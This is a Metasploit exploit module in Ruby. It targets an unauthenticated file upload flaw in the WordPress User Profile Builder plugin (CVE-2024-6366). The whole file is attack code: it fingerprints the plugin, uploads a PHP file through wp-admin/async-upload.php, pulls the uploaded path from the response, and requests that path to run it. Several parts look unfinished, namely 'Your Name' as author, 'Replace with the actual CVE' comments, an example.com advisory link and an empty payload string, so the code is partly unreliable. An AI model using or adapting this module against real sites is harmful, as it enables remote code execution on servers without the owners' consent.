## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE', 'Description' => %q{ This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8. The plugin does not have proper authorization, allowing unauthenticated users to upload media files via the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload. }, 'Author' => [ 'Your Name' # OneArch ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-6366'], # Replace with the actual CVE identifier ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'WordPress User Profile Builder < 3.11.8', {} ] ], 'DisclosureDate' => 'Aug 03 2024', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']), ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), }) if res && res.body.include?('wp-content/plugins/user-profile-builder') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit php_payload = "" data = Rex::MIME::Message.new data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"") data.add_part('1', nil, nil, 'form-data; name="html-upload"') data.add_part('Upload', nil, nil, 'form-data; name="upload"') print_status("Uploading PHP payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) if res && res.code == 200 && res.body.include?('.php') php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1] print_good("Payload uploaded successfully: #{php_path}") register_files_for_cleanup(php_path) execute_command("#{php_path}") else fail_with(Failure::UnexpectedReply, 'Failed to upload payload') end end def execute_command(php_path) print_status("Executing PHP payload...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, php_path) }) end end